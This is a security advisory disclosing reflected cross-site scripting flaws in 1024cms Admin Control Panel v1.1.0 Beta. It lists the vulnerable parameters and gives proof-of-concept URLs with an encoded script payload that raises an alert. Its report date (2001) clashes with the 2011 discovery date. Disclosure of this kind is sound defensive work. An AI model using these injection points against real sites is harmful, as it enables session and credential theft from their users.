1024cms ACP 1.1.0 Complete Modules Cross Site Scripting

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1024cms Admin Control Panel v1.1.0 Beta (Complete-Modules Package) - Cross-Site Scripting Vulnerability  
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Software: 1024cms Admin Control Panel v1.1.0 Beta (complete-modules package)  
Vendor: http://1024cms.org/  
Vuln Type: Cross-Site Scripting  
Remote: Yes  
Local: No  
Discovered by: QSecure and Demetris Papapetrou   
Website: http://www.qsecure.com.cy  
Discovered: 15/03/2011  
Reported: 29/03/2001  
Disclosed:  
  
  
VULNERABILITY DESCRIPTION:  
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The script "/index.php" is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input in the "msg" parameter.  
  
The script "/dashboard.php" is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input in the "msg_error", "msg_okay", "msg_info", "msg_attention" parameters.  
  
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.  
  
  
PoC Exploit:  
============  
Note: PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b = URL_Encoded(Base64_Encoded(XSS string))  
  
/index.php?msg=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b  
/dashboard.php?msg_error=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b  
/dashboard.php?msg_okay=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b  
/dashboard.php?msg_info=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b  
/dashboard.php?msg_attention=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b  
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